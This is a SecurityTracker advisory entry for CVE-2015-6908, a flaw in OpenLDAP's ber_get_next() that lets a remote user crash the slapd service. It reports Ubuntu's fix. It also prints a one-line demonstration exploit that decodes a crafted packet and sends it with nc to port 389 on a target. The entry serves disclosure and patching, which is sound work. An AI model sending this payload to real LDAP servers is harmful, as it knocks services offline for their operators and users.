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Category:   Application (Directory)  >   OpenLDAP Vendors:   OpenLDAP.org
(Ubuntu Issues Fix) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
SecurityTracker Alert ID:  1033583
SecurityTracker URL:  http://securitytracker.com/id/1033583
CVE Reference:   CVE-2015-6908   (Links to External Site)
Date:  Sep 16 2015
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 2.4.42 and prior
Description:   A vulnerability was reported in OpenLDAP. A remote user can cause the target service to crash.

A remote user can send a specially crafted packet to cause the target slapd service to crash.

A demonstration exploit command is provided:

echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v [target] 389

The original advisory is available at:

http://www.security-assessment.com/files/documents/advisory/OpenLDAP-ber_get_next-Denial-of-Service.pdf

Denis Andzakovic of Security-Assessment.com reported this vulnerability.

Impact:   A remote user can cause the target LDAP service to crash.
Solution:   Ubuntu has issued a fix.

The Ubuntu advisory is available at:

http://www.ubuntu.com/usn/usn-2742-1

Vendor URL:  www.ubuntu.com/usn/usn-2742-1 (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Ubuntu)
Underlying OS Comments:  12.04 LTS, 14.04 LTS, 15.04

Message History:   This archive entry is a follow-up to the message listed below.
Sep 10 2015 OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash



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